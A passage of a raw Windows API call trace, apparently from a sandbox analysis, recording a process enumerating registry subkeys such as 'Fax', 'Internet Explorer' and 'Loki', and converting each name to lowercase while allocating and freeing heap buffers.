cchName=0x104 | out: lpName="Exchange") returned 0x0 [0033.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0xf7c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0033.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.790] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0xf7b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0033.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0xf7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0033.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.790] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0xf7b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0033.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0033.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0xf7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0033.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.791] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0xf7b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0033.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0xf7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0033.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.791] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0xf7b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0033.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0xf7c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0033.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.791] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0xf7b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0033.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0033.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0xf7c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0033.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.791] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0xf7b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0033.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0033.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0xf7c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0033.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.792] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0xf7b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0033.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0xf7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0033.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.792] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0xf7b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0033.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0xf7c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0033.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.792] RegEnumKeyW (in: hKey=0x38, dwIndex=0x28, lpName=0xf7b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0033.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0xf7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0033.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.792] RegEnumKeyW (in: hKey=0x38, dwIndex=0x29, lpName=0xf7b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0033.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0xf7c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0033.793] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.793] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.793] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.793] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.793] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2a, lpName=0xf7b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0033.793] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0033.793] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0xf7c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0033.793] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.793] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.793] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.793] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.793] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2b, lpName=0xf7b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0033.793] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0033.793] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0xf7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0033.793] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.793] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.793] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.793] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.793] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2c, lpName=0xf7b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0033.793] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0033.793] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0xf7c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0033.793] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.793] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.793] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.793] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.793] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2d, lpName=0xf7b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0033.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0033.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0xf7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0033.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.794] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2e, lpName=0xf7b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0033.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0033.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0xf7c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0033.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.794] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2f, lpName=0xf7b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0033.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0033.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0xf7c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0033.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.794] RegEnumKeyW (in: hKey=0x38, dwIndex=0x30, lpName=0xf7b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0033.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0033.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0xf7c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0033.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.795] RegEnumKeyW (in: hKey=0x38, dwIndex=0x31, lpName=0xf7b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0033.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0xf7c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0033.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.795] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.795] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.795] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.795] RegEnumKeyW (in: hKey=0x38, dwIndex=0x32, lpName=0xf7b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0033.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0033.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0xf7c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0033.795] RegEnumKeyW (in: hKey=0x38, dwIndex=0x33, lpName=0xf7b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0033.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0033.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0xf7c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0033.795] RegEnumKeyW (in: hKey=0x38, dwIndex=0x34, lpName=0xf7b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0033.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0xf7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", 